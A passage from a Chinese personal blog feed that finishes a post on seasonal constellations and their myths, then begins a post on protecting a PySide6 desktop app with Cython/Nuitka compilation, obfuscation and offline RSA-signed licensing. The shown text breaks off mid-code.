/><p>这个图片中的模型显示了地球在天球中的运转。地球公转轨道面和天球相交的线叫做黄道。依据地球的公转，太阳在这条轨道上运转，其运转一周大约一年。因为白天看不到星星，所以不能直接看到太阳在星座中前进的样子，但是在地球的背阳面，也就是地球夜晚的时候，太阳也会在黄道上移动，它每天都会不断变化。所以也就产生了因为季节不同，夜空中的星座每个季节都会变化的现象。地球的自转轴依照北极角度朝双子座的方向大约倾斜23.5°。当太阳在处于黄道中双子座方位的时候，太阳将要到达最高点，所以北半球将会迎来夏天，处于双子座对面的射手座，它在半夜，就会出现在南方天空的离地平面不远的位置。</p><p>相反的，当太阳进入射手座的方位(冬至点侧)的时候，这时太阳的高度变得很低，射手座另一侧的双子座则会在半夜升到空中，慢慢露出地平线。同样的道理，在地球春分日左右的深夜我们可以看到处于黄道秋分点的处女座。在地球秋分日左右的深夜，我们可以看到处于黄道春分日的双鱼座。黄道也是金星、火星、木星、土星等行星的通道。</p><h3 id="春季">春季</h3><img src="https://img.alexation.cn/blog/post/hobby/star/6.webp" alt="https://img.alexation.cn/blog/post/hobby/star/6.webp" style="zoom:67%;" /><details class="folding-tag" green><summary> 能看到这片星空的时间⭐⭐⭐⭐~ </summary>              <div class='content'>              <ul><li><p>1月中旬：午前4时</p></li><li><p>2月中旬：午前2时</p></li><li><p>3月中旬：午前0时</p></li><li><p>4月中旬：午前10时</p></li><li><p>5月中旬：午前8时</p></li></ul>              </div>            </details><p>在春天的星空中，首先映入眼帘的是在北方天空中升起的“北斗七星”。因为其七颗星排列成了勺子一样的形状，所以我们可以很轻松的找到它。如果将弯曲的勺柄再延长的话，就可以很快找到牧夫座的大角星，再找到室女座的角宿一，将它们连线，这条线就是“春季的大曲线”。</p><img src="https://img.alexation.cn/blog/post/hobby/star/1.1.webp" alt="https://img.alexation.cn/blog/post/hobby/star/1.1.webp" style="zoom: 33%;" /><div align="center">夜空中的星星以“北天极”为中心旋转。天的北极正下方是正北方</div><img src="https://img.alexation.cn/blog/post/hobby/star/1.2.webp" alt="https://img.alexation.cn/blog/post/hobby/star/1.2.webp" style="zoom: 33%;" /><div align="center">狮子座的轩辕十四是被称为帝王之星，王者之星</div><h4 id="从春季的大曲线开始探索春季的星座">从春季的大曲线开始探索春季的星座</h4><img src="https://img.alexation.cn/blog/post/hobby/star/7.webp" alt="https://img.alexation.cn/blog/post/hobby/star/7.webp" style="zoom:50%;" /><p>一等星大角星是<font style="color:red">【牧夫座】</font>的主星。牧夫座被比喻成一个健壮的猎人带着两只猎狗<font style="color:red">【猎犬座】</font>正在追赶熊<font style="color:red">【大熊座】</font>在春分点，<font style="color:red">【处女座】</font>将出现在南方正空此时需要播种，因此处女座是农林和丰收女神德墨忒尔的化身，散发着的蓝色圣洁光辉的角宿一被比喻成了她手上拿着的麦穗，因此角宿一在西被看成是收获的象征。英文名Spica-词来自拉了语意为“室女的麦穗”。也有传说称处女座是正义女神阿尔忒弥斯的化身，其脚下的<font style="color:red">【天秤座】</font>是用来衡量人类正义和善恶的。</p><p>再把眼光扫向西南方向，这有着凶猛的<font style="color:red">【狮子座】</font>。头部组成的形状如同割草的大镰刀一样，所以头部的星星被称为<font style="color:red">【狮子的大镰刀】</font>。狮子座拥有等星轩辕十四和二等星五帝座一两颗亮星，把狮子座的五帝座一和牧夫座的大角星、处女座的角宿一连接起来的话会，就勾绘出了一个大三角形，这叫做<font style="color:red">【春天的大三角】</font>，和<font style="color:red">【春天的大曲线】</font>一起来看，是春夜星空的一个大看点。狮子正面向<font style="color:red">【巨蟹座】</font>虎视眈眈，狮子座和地平线之间有一个<font style="color:red">【长蛇座】</font>，它长长的身体正横躺在地平面上。在这三个星座中，还流传着这样的神话：它们都遵从女神赫拉的命令去杀死希腊神话中最大的英雄赫拉克勒斯，但最终都失败了被升上了星空，成为了星座。</p><h3 id="夏季">夏季</h3><img src="https://img.alexation.cn/blog/post/hobby/star/8.webp" alt="https://img.alexation.cn/blog/post/hobby/star/8.webp" style="zoom:67%;" /><details class="folding-tag" red><summary> 能看到这片星空的时间⭐⭐⭐~ </summary>              <div class='content'>              <ul><li><p>4月中旬：午前4时</p></li><li><p>5月中旬：午前2时</p></li><li><p>6月中旬：午前0时</p></li><li><p>7月中旬：午前10时</p></li><li><p>8月中旬：午前8时</p></li></ul>              </div>            </details><p>在夏季一边露营纳凉，一边抬头仰望星空，是人生最美好的事物之一。就让我们出发，逃离光污染的都市，来到郊外，去寻找那从南方地平线升起，贯穿整个天球直到北方的银河，不过我们需要借助望远镜才可以看到它的全貌。它整体看起来更像薄薄的云。银河实际上是由很多暗星聚集在一起形成的。</p><img src="https://img.alexation.cn/blog/post/hobby/star/2.1.webp" alt="https://img.alexation.cn/blog/post/hobby/star/2.1.webp" style="zoom:50%;" /><div align="center">夏季大三角</div><h4 id="从夏季的大三角进向南方的银河">从夏季的大三角进向南方的银河</h4><img src="https://img.alexation.cn/blog/post/hobby/star/9.webp" alt="https://img.alexation.cn/blog/post/hobby/star/9.webp" style="zoom:50%;" /><p>南方地平线附近，银河最雄伟的部分有<font style="color:red">【人马座】</font>它是半人马族的智者喀戎的化身，它上半身是人，下半身是马，正在张弓搭箭。那支箭瞄准了位于西侧<font style="color:red">【天蝎座】</font>的主星心宿二。心宿二正处于在蝎子的心脏处，它是一颗如同火焰燃烧般灿烂的红色超巨星。蝎子的尾巴部分像“J”字一样，蝎子尾未端像一个鱼钩，在日本也有地方把它比作渔具，取名为“钓鱼”。从射手座和天蝎座的附近沿着银河向头顶的正上方看去，就会发现两颗一等星隔着银河在两岸相映成辉。离地平线比较近的是<font style="color:red">【天鹰座】</font>的牵牛星，几乎位于正头顶的是<font style="color:red">【天琴座】</font>的织女星，源于中国的用七夕神话，在日本，牛郎星、织女星，也是著名的七夕之星，如果你在刚入夜时看到它们，意味着七夕节即将来临。</p><p>实际上牵牛星和织女星之间，即使以光速飞行，也需要17年的时间才可以到达，如果按照传说中每年七夕来相聚，基本上是不可能实现的。从织女星再往上看，就能在银河中找到闪耀着白色光芒的一等星天津四。天津四它位于<font style="color:red">【天鹅座】</font>的尾巴处，名字也有“尾”的意思。天鹅座也有北十字之称，以天津四为顶部，星星排列得如同一个巨大的十字架般，挂在了头顶上。同时我们还可以把天鹅座想象成，一只正在银河上贴着水面飞行的天鹅。</p><h3 id="秋季">秋季</h3><img src="https://img.alexation.cn/blog/post/hobby/star/10.webp" alt="https://img.alexation.cn/blog/post/hobby/star/10.webp" style="zoom:67%;" /><details class="folding-tag" yellow><summary> 能看到这片星空的时间⭐⭐⭐~ </summary>              <div class='content'>              <ul><li><p>7月中旬：午前4时</p></li><li><p>8月中旬：午前2时</p></li><li><p>9月中旬：午前0时</p></li><li><p>10月中旬：午前10时</p></li><li><p>11月中旬：午前8时</p></li></ul>              </div>            </details><p>秋夜的星空与其它季节相比，星光有点暗淡，给人一种寂寞的感觉。但是，在北方的天空中，仙后座升了上来，取代了北斗七星，成为了寻找北极星的指极星。寻找北极星还有其它几种。那么，让我们从头顶，找到四个星星组成的“秋天的四边形”，开始了解秋季的星空吧。</p><img src="https://img.alexation.cn/blog/post/hobby/star/3.1.webp" alt="https://img.alexation.cn/blog/post/hobby/star/3.1.webp" style="zoom: 33%;" /><div align="center">W字形的仙后座，秋天的夜晚向北看的话呈M字形</div><img src="https://img.alexation.cn/blog/post/hobby/star/3.2.webp" alt="https://img.alexation.cn/blog/post/hobby/star/3.2.webp" style="zoom: 33%;" /><div align="center">上图是仙女座星云的特写，即使是用双筒望远镜也能看到椭圆形的螺旋星云</div><h4 id="在秋天夜空中上演的神仙打架的故事">在秋天夜空中上演的神仙打架的故事</h4><img src="https://img.alexation.cn/blog/post/hobby/star/11.webp" alt="https://img.alexation.cn/blog/post/hobby/star/11.webp" style="zoom:50%;" /><p>抬头仰望刚入夜的星空，可以在正头顶附近找到四颗星组成的”秋季四边形“，也叫“飞马座四边形”，正如其名，四边形相当于天马的躯干部分。秋夜星空中，以珀伽索斯为首的天马座，连同古埃塞俄比亚王室一族加上怪物们，上演了神仙打架的好戏。安德罗墨达是埃塞俄比亚国王克甫斯和王后卡西奥佩娅的女儿，平日里她的母亲就喜欢炫耀女儿的美丽，一天她说出了“我的女儿比海中的妖精们还要美丽“的话。从而得罪了海神波塞冬之妻安菲特里忒。安菲特里忒要波塞冬替她报仇，愤怒的海神波塞冬把海怪放到了埃塞俄比亚的海岸，引发海啸击溃了他的国家。克甫斯请求神谕如何破除灾难，而得到的回答却是献祭自己的女儿出与无奈，安德罗墨达被她的父母用铁索锁在了鲸鱼座所代表的海怪经过路上的一块巨石上，眼看着安德罗墨达就要被海怪吞下肚子了。就在这时，刚刚击败了怪物美杜莎，正准备回国的英雄珀尔修斯，骑着珀伽索斯正好经过珀尔修斯拿出了美杜莎的头照射海怪，看过美杜莎眼睛的东西都会立刻被石化，海怪也不例外，马上就变成了一座巨石，沉入了海底。珀尔修斯娶了安德罗墨达，成为了统治埃塞俄比亚的新国王。后来他们都变成了星座，分别以【英仙座】【仙女座】【仙王座】【仙后座】【飞马座】【鲸鱼座】的身份，装点着秋天的夜空。</p><h3 id="冬季">冬季</h3><img src="https://img.alexation.cn/blog/post/hobby/star/12.webp" alt="https://img.alexation.cn/blog/post/hobby/star/12.webp" style="zoom:67%;" /><details class="folding-tag" cyan><summary> 能看到这片星空的时间⭐⭐⭐⭐⭐~ </summary>              <div class='content'>              <ul><li><p>10月中旬：午前4时</p></li><li><p>11月中旬：午前2时</p></li><li><p>12月中旬：午前0时</p></li><li><p>1月中旬：午前10时</p></li><li><p>2月中旬：午前8时</p></li></ul>              </div>            </details><p>虽然天气渐渐转凉，但是冬天的夜空中却多了许多明亮的星星，非常的热闹。由于冬季的天空中，空气正在剧烈地流动，透过大气层看到的星星，就好像在对着人们闪闪地眨眼，给了人们更加华丽的感觉。冬季的夜空中【猎户座】【双子座】【金牛座】【大犬座】【小犬座】等大家熟知的星座相互辉映，谁也不甘示弱。</p><img src="https://img.alexation.cn/blog/post/hobby/star/4.1.webp" alt="https://img.alexation.cn/blog/post/hobby/star/4.1.webp" style="zoom: 33%;" /><div align="center">金牛座著名的昴星团和毕星团</div><img src="https://img.alexation.cn/blog/post/hobby/star/4.2.webp" alt="https://img.alexation.cn/blog/post/hobby/star/4.2.webp" style="zoom: 33%;" /><div align="center">冬季大三角-参宿四——那让人过目难忘的红色</div><h4 id="冬季那群星闪耀的星空">冬季那群星闪耀的星空</h4><img src="https://img.alexation.cn/blog/post/hobby/star/13.webp" alt="https://img.alexation.cn/blog/post/hobby/star/13.webp" style="zoom:50%;" /><p>虽然<font style="color:red">【大犬座】</font>拥有全天最亮的恒星天狼星但在冬季，这并不能让它成为主角。主角只能是<font style="color:red">【猎户座】</font>，因为它拥有闪着红色光辉的参宿四和蓝白色光辉的参宿七这两颗明亮的超级巨星腰带部分还一字排列着参宿一,参宿二,参宿三三颗亮星，这让猎户座更加的一目了然。</p><p>猎户座是一个非常璀璨的星座，在希腊神话中，它虽然杀死了天蝎座，但最后却被月之女神阿尔特弥斯用箭射死，知名度并不是特别高。如果从外形上看，他好像抓住了西边<font style="color:red">【金牛座】</font>的双角并试图展开攻击，还有一种说法是，他正在追逐躲在金牛背后的七姐妹(昴星团)。由<font style="color:red">【猎户座】</font>的参宿四<font style="color:red">【大犬座】</font>中最亮的恒星天狼星，以及<font style="color:red">【小犬座】</font>中的南河三连接而成的三角形，就是“冬季的大三角”。另外把”参宿七/毕宿五/五车二/北河三/南河三/天狼星“这六颗亮星连成线，就是“冬季的大钻石”。老人星于<font style="color:red">【船底座】</font>，是仅次于天狼星的全天第二亮恒星但它只会出现在南方的低空，如果在刚刚入夜的时候，由于夕阳的缘故可能很难被观测到。另外稍微高一点的建筑物或者山，也很容易把它阻挡在视线范围之外。在中国，如果能看到难以观察的老人星，是一件非常吉利的事情，寓意着长命百岁。</p><h2 id="爱，是此刻的光">爱，是此刻的光</h2><p>感谢你能阅读到这里，星空是我们跨越时间长河与先辈们共同欣赏的艺术，而我写下的这些文字是跨越遥远距离与你分享的热爱。仰望星空时，我们看到的并不只是光点，而是跨越千年的记忆。它们见证了文明的诞生、神话的传承，也映照着我们自己的渺小与好奇。当那些遥远的星光穿越无数岁月，最终落在我们的眼中，它们便与我们的心灵相遇。也许，正如古人借星座来解释世界，我们也在用凝望去回答同一个问题——<font style="color:#FF69B4; font-weight:700;">在浩瀚宇宙中，我们为何而存在，又如何彼此相连❤。</font></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 style=&quot;text-align:center;font-family:FZZhiYi-M12S;font-weight:700;&quot;&gt;星空之上，人类的故事&lt;/h1&gt;
&lt;p&gt;美妙的星星还有它伙伴们很多星座们，在夕阳将最后一屡余晖撒向大地的时候，当深蓝的夜幕笼罩大地而驱走最</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.alexation.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="星空" scheme="https://blog.alexation.cn/tags/%E6%98%9F%E7%A9%BA/"/>
    
  </entry>
  
  <entry>
    <title>Python加密方案</title>
    <link href="https://blog.alexation.cn/python/nuitka/"/>
    <id>https://blog.alexation.cn/python/nuitka/</id>
    <published>2025-10-01T10:57:33.000Z</published>
    <updated>2025-10-09T01:41:24.600Z</updated>
    
    <content type="html"><![CDATA[<div align="center"><h2>Pyside6软件加密方案</h2></div><p>​针对Python开发的PySide6应用进行封装，并进行加密。目标是把应用封装成可执行文件，并让反向工程变得尽可能困难/昂贵**。**任何本地分发的软件都不可能做到“绝对不可逆向”，只能提高门槛、增加成本和耗时。由于目标客户Windows平台不支持联网，因此敏感的许可证以及密钥逻辑判断都不支持服务器端授权验证以及token校验。</p><h3 id="1-针对软件反逆向加密">1 针对软件反逆向加密</h3><h4 id="1-1-加密逻辑">1.1 加密逻辑</h4><ul><li><strong>核心逻辑拆分</strong> — 把敏感/关键算法、许可证检查、秘钥、设备认证逻辑放到单独模块或单独包里，便于单独编译为二进制扩展或单独保护。</li><li><strong>用编译器把关键模块变成二进制扩展</strong> — 用 <strong>Cython</strong> 或 <strong>Nuitka</strong> 将关键模块编译为 <code>.pyd</code>，比纯 Python 字节码难逆向得多。</li><li><strong>整体打包为单文件/目录</strong> — 用 <strong>Nuitka</strong> 或 <strong>PyInstaller / PyOxidizer</strong> 生成最终可执行文件</li><li><strong>对 Python 代码进行混淆/加壳</strong> — 对剩余 Python 代码用 <strong>PyArmor</strong> 等工具混淆；把资源/配置做加密并在运行时解密。</li><li><strong>资源保护 &amp; 完整性校验</strong> — 把配置等资源进行 AES 加密存储，运行时解密。在程序启动时（在 <code>.pyd</code> 内）检查 <code>sys.executable</code>（主 exe）和若干关键 <code>.pyd</code> 的 SHA256；若不匹配则拒绝运行。</li><li><strong>反调试/抗注入（谨慎使用）</strong> — 能增加逆向复杂度，但容易引起误报或稳定性问题。</li></ul><h4 id="1-2-加密风险">1.2 加密风险</h4><ul><li><strong>修改/补丁程序</strong>：攻击者直接修改 exe / .pyd，修改许可证校验函数总是返回 True，或跳过某些判定。</li><li><strong>替换公钥或校验逻辑</strong>：如果公钥是个外部文件或可写位置，攻击者把公钥替换为自己控制的公钥，再用自己的私钥签发 license。</li><li><strong>内存补丁 / 动态劫持</strong>：运行时用调试器 / 注入修改进程内验证结果。</li><li><strong>重放/替换元数据</strong>：删除/修改 time-meta 或 license_meta，使时间回退检测失效。</li><li><strong>提取公钥与反向分析</strong>：能提取公钥本身，但公钥公开并不能伪造签名。主要风险是反向分析后去掉验证逻辑。</li></ul><h3 id="2-针对用户使用权限加密">2 针对用户使用权限加密</h3><p>​不联网的 Windows 环境下做本地授权管理，包括使用期限限制（到期失效）、设备码绑定（只能在指定机器运行）、硬件加密狗 / U 盘绑定等限制方式。</p><h4 id="2-1-使用期限限制">2.1 使用期限限制</h4><h5 id="实现思路">实现思路</h5><ul><li>软件启动时，读取系统时间（<code>datetime.now()</code>）。</li><li>结合配置文件或编译时内置的到期日期，判断是否超期。</li><li>为了防止用户改系统时间，可以记录首次运行时间到本地隐藏文件/注册表、每次运行检查「当前时间 ≥ 首次运行时间」，并且如果时间倒退（说明用户篡改系统时间），直接报错拒绝运行。</li></ul><h4 id="2-2-设备码限制">2.2 设备码限制</h4><h5 id="实现思路-2">实现思路</h5><ul><li>读取设备的唯一硬件 ID（CPU 序列号 / 主板序列号 / 硬盘序列号 / MAC 地址等）。（注意涉及到联网用户的设备码变更问题）</li><li>使用 hash 算法生成「设备码」，在交付时生成一个许可证文件（含设备码 + 签名）。</li><li>软件启动时比对本机设备码与许可证文件是否一致。</li></ul><p>此方式需要用户配合生成设备码，即需要现在用户Windows平台上运行设备码生成脚本，将得到的设备码利用私钥加密后写入文件，后在软件运行时进行license校验。</p><h4 id="2-3-第三方加密狗">2.3 第三方加密狗</h4><h5 id="实现思路-3">实现思路</h5><ul><li>利用硬件厂商提供的 API 进行加密狗验证。</li><li>运行时软件会检测加密狗是否插入、是否有合法授权。</li><li>即使用户复制 exe，没有加密狗也不能运行。</li></ul><p>目前基本存在两种加密方式，一个为调用加密狗的API接口库，第二个为对封装好的可执行文件加壳，两种方式可同时使用。</p><h3 id="3-实现方法总结">3 实现方法总结</h3><ul><li>针对软件的反逆向，用 <strong>Cython 把 <code>application.py</code>、<code>modules/</code>、<code>utils/</code> 等核心模块编译成 <code>.pyd</code></strong>。写一个 <code>run.py</code> 作为启动入口，并用 <strong>Nuitka或 PyInstaller</strong> 打包成单 exe，最后用 <code>pyarmor</code> 混淆剩余 <code>.py</code> 文件。打包好的 exe + config/data 资源文件 = 可交付版本，</li><li>若想限制用户的使用权限，可使用私钥分发许可证（但需要使用者配合提供设备码）</li><li>若想要更安全或成本支持，可选择加密狗。</li><li>目前任何不联网的本地分发软件都不可能做到“绝对不可逆向”。</li></ul><h3 id="4-关键实现步骤">4 关键实现步骤</h3><h4 id="4-1-pyd是什么">4.1 pyd是什么</h4><ul><li><p><code>.pyd</code> = Windows 平台下的 Python 动态链接库，本质和 <code>.dll</code> 一样。</p></li><li><p>Python 导入 <code>.pyd</code> 的方式和 <code>.py</code> 完全相同：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> utils<span class="token punctuation">.</span>data<span class="token punctuation">.</span>xxxxxxxxx</code></pre><p>不需要改调用代码。</p></li></ul><p><strong>哪些要编译成 .pyd？</strong></p><ul><li>建议：只把 <strong>核心逻辑/算法/关键验证</strong> 的 <code>.py</code> 转换为 <code>.pyd</code>。</li><li>比如 <code>utils/data/*.py</code>, <code>utils/xxx/*.py</code>, <code>modules/*.py</code>, 以及 <code>application.py</code>（主入口可以也编译）。</li><li>资源文件（csv/json/icon/ui 等）不要编进去，否则打包麻烦。</li></ul><p>对应目录里生成 <code>.pyd</code> 文件（例如 <code>application.cp312-win_amd64.pyd</code>）。</p><ul><li>原 <code>.py</code> 可以删掉或只留一个空壳（避免泄漏源码）。</li><li>其它文件导入 <code>.pyd</code> 时方式不变。</li></ul><h4 id="4-2-主程序调用">4.2 主程序调用</h4><ul><li>如果 <code>application.py</code> 也编译成 <code>.pyd</code>，就不能直接 <code>python application.py</code> 启动了。</li><li>解决方法：写一个很小的 <code>run.py</code> 作为入口：</li></ul><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> application<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span>    application<span class="token punctuation">.</span>main<span class="token punctuation">(</span><span class="token punctuation">)</span>   <span class="token comment"># 这里调用主入口函数</span></code></pre><ul><li>这样实际运行的是编译过的 <code>application.pyd</code>，而源码不会暴露。</li></ul><h4 id="4-3-封装成-exe">4.3 封装成 exe</h4><p>两种方式：</p><ul><li><p><strong>PyInstaller</strong>（常用，兼容性最好）</p><pre class="language-none"><code class="language-none">pyinstaller --noconfirm --onefile --windowed --icon&#x3D;config&#x2F;icon.ico run.py</code></pre></li><li><p><strong>Nuitka</strong>（更难逆向，推荐）</p><pre class="language-none"><code class="language-none">nuitka --standalone --onefile --enable-plugin&#x3D;pyside6 run.py</code></pre></li><li><p>打包时 <code>.pyd</code> 会和 exe 一起放进 dist 目录，最终用户无法直接反编译出 py 源码。</p></li></ul><h4 id="4-4-设备码RSA加密">4.4 设备码RSA加密</h4><p>获取硬件 ID 的方法（Windows）</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> subprocess<span class="token keyword">def</span> <span class="token function">get_cpu_id</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    cmd <span class="token operator">=</span> <span class="token string">'wmic cpu get ProcessorId'</span>    <span class="token keyword">return</span> subprocess<span class="token punctuation">.</span>check_output<span class="token punctuation">(</span>cmd<span class="token punctuation">,</span> shell<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">"\n"</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">get_disk_serial</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    cmd <span class="token operator">=</span> <span class="token string">'wmic diskdrive get SerialNumber'</span>    <span class="token keyword">return</span> subprocess<span class="token punctuation">.</span>check_output<span class="token punctuation">(</span>cmd<span class="token punctuation">,</span> shell<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">"\n"</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p>可以组合多个硬件信息（如 CPU+主板+硬盘），并对其做 <code>SHA256</code>，减少伪造风险。由于实际运行时设备无法联网，因此仅根据硬盘、CPU、主板等硬件信息进行运算即可，以防止由于动态IP变化导致设备码变化的情况。</p><h4 id="4-5-私钥签发-license">4.5 私钥签发 license</h4><p>生成 RSA 密钥（一次性），并用私钥对 license JSON 签名，输出 <code>license.json</code>。<code>cryptography</code>（签名/验证），可通过 <code>pip install cryptography</code> 安装。</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># license_generator.py</span><span class="token comment"># 运行环境: Windows 或其他平台 (用于生成签名的离线工具)</span><span class="token comment"># 依赖: pip install cryptography</span><span class="token keyword">import</span> json<span class="token punctuation">,</span> base64<span class="token punctuation">,</span> datetime<span class="token keyword">from</span> cryptography<span class="token punctuation">.</span>hazmat<span class="token punctuation">.</span>primitives <span class="token keyword">import</span> hashes<span class="token punctuation">,</span> serialization<span class="token keyword">from</span> cryptography<span class="token punctuation">.</span>hazmat<span class="token punctuation">.</span>primitives<span class="token punctuation">.</span>asymmetric <span class="token keyword">import</span> padding<span class="token punctuation">,</span> rsa<span class="token keyword">from</span> cryptography<span class="token punctuation">.</span>hazmat<span class="token punctuation">.</span>backends <span class="token keyword">import</span> default_backend<span class="token keyword">import</span> argparse<span class="token keyword">from</span> pathlib <span class="token keyword">import</span> Path<span class="token keyword">def</span> <span class="token function">gen_rsa_keys</span><span class="token punctuation">(</span>priv_path<span class="token operator">=</span><span class="token string">"private_key.pem"</span><span class="token punctuation">,</span> pub_path<span class="token operator">=</span><span class="token string">"public_key.pem"</span><span class="token punctuation">,</span> bits<span class="token operator">=</span><span class="token number">2048</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    priv <span class="token operator">=</span> rsa<span class="token punctuation">.</span>generate_private_key<span class="token punctuation">(</span>public_exponent<span class="token operator">=</span><span class="token number">65537</span><span class="token punctuation">,</span> key_size<span class="token operator">=</span>bits<span class="token punctuation">,</span> backend<span class="token operator">=</span>default_backend<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    priv_bytes <span class="token operator">=</span> priv<span class="token punctuation">.</span>private_bytes<span class="token punctuation">(</span>        encoding<span class="token operator">=</span>serialization<span class="token punctuation">.</span>Encoding<span class="token punctuation">.</span>PEM<span class="token punctuation">,</span>        <span class="token builtin">format</span><span class="token operator">=</span>serialization<span class="token punctuation">.</span>PrivateFormat<span class="token punctuation">.</span>PKCS8<span class="token punctuation">,</span>        encryption_algorithm<span class="token operator">=</span>serialization<span class="token punctuation">.</span>NoEncryption<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">)</span>    pub <span class="token operator">=</span> priv<span class="token punctuation">.</span>public_key<span class="token punctuation">(</span><span class="token punctuation">)</span>    pub_bytes <span class="token operator">=</span> pub<span class="token punctuation">.</span>public_bytes<span class="token punctuation">(</span>        encoding<span class="token operator">=</span>serialization<span class="token punctuation">.</span>Encoding<span class="token punctuation">.</span>PEM<span class="token punctuation">,</span>        <span class="token builtin">format</span><span class="token operator">=</span>serialization<span class="token punctuation">.</span>PublicFormat<span class="token punctuation">.</span>SubjectPublicKeyInfo<span class="token punctuation">,</span>    <span class="token punctuation">)</span>    Path<span class="token punctuation">(</span>priv_path<span class="token punctuation">)</span><span class="token punctuation">.</span>write_bytes<span class="token punctuation">(</span>priv_bytes<span class="token punctuation">)</span>    Path<span class="token punctuation">(</span>pub_path<span class="token punctuation">)</span><span class="token punctuation">.</span>write_bytes<span class="token punctuation">(</span>pub_bytes<span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"Generated keys: </span><span class="token interpolation"><span class="token punctuation">&#123;</span>priv_path<span class="token punctuation">&#125;</span></span><span class="token string">, </span><span class="token interpolation"><span class="token punctuation">&#123;</span>pub_path<span class="token punctuation">&#125;</span></span><span class="token string">"</span></span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">sign_license</span><span class="token punctuation">(</span>priv_key_path<span class="token punctuation">,</span> license_data<span class="token punctuation">:</span> <span class="token builtin">dict</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token comment"># canonical JSON: sorted keys, no whitespace</span>    message <span class="token operator">=</span> json<span class="token punctuation">.</span>dumps<span class="token punctuation">(</span>license_data<span class="token punctuation">,</span> separators<span class="token operator">=</span><span class="token punctuation">(</span><span class="token string">","</span><span class="token punctuation">,</span> <span class="token string">":"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> sort_keys<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span>    <span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span>priv_key_path<span class="token punctuation">,</span> <span class="token string">"rb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>        priv <span class="token operator">=</span> serialization<span class="token punctuation">.</span>load_pem_private_key<span class="token punctuation">(</span>f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> password<span class="token operator">=</span><span class="token boolean">None</span><span class="token punctuation">,</span> backend<span class="token operator">=</span>default_backend<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    sig <span class="token operator">=</span> priv<span class="token punctuation">.</span>sign<span class="token punctuation">(</span>message<span class="token punctuation">,</span> padding<span class="token punctuation">.</span>PKCS1v15<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> hashes<span class="token punctuation">.</span>SHA256<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> base64<span class="token punctuation">.</span>b64encode<span class="token punctuation">(</span>sig<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">"ascii"</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">create_license_file</span><span class="token punctuation">(</span>priv_key_path<span class="token punctuation">,</span> out_path<span class="token punctuation">,</span> device_code<span class="token punctuation">,</span> expire_date_str<span class="token punctuation">,</span> extra<span class="token operator">=</span><span class="token boolean">None</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token comment"># expire_date_str: "YYYY-MM-DD"</span>    now <span class="token operator">=</span> datetime<span class="token punctuation">.</span>datetime<span class="token punctuation">.</span>utcnow<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>strftime<span class="token punctuation">(</span><span class="token string">"%Y-%m-%dT%H:%M:%SZ"</span><span class="token punctuation">)</span>    license_data <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token string">"device"</span><span class="token punctuation">:</span> device_code<span class="token punctuation">,</span>        <span class="token string">"expire"</span><span class="token punctuation">:</span> expire_date_str<span class="token punctuation">,</span>        <span class="token string">"issued"</span><span class="token punctuation">:</span> now<span class="token punctuation">,</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> extra<span class="token punctuation">:</span>        license_data<span class="token punctuation">[</span><span class="token string">"extra"</span><span class="token punctuation">]</span> <span class="token operator">=</span> extra    signature <span class="token operator">=</span> sign_license<span class="token punctuation">(</span>priv_key_path<span class="token punctuation">,</span> license_data<span class="token punctuation">)</span>    license_data<span class="token punctuation">[</span><span class="token string">"signature"</span><span class="token punctuation">]</span> <span class="token operator">=</span> signature    Path<span class="token punctuation">(</span>out_path<span class="token punctuation">)</span><span class="token punctuation">.</span>write_text<span class="token punctuation">(</span>json<span class="token punctuation">.</span>dumps<span class="token punctuation">(</span>license_data<span class="token punctuation">,</span> indent<span class="token operator">=</span><span class="token 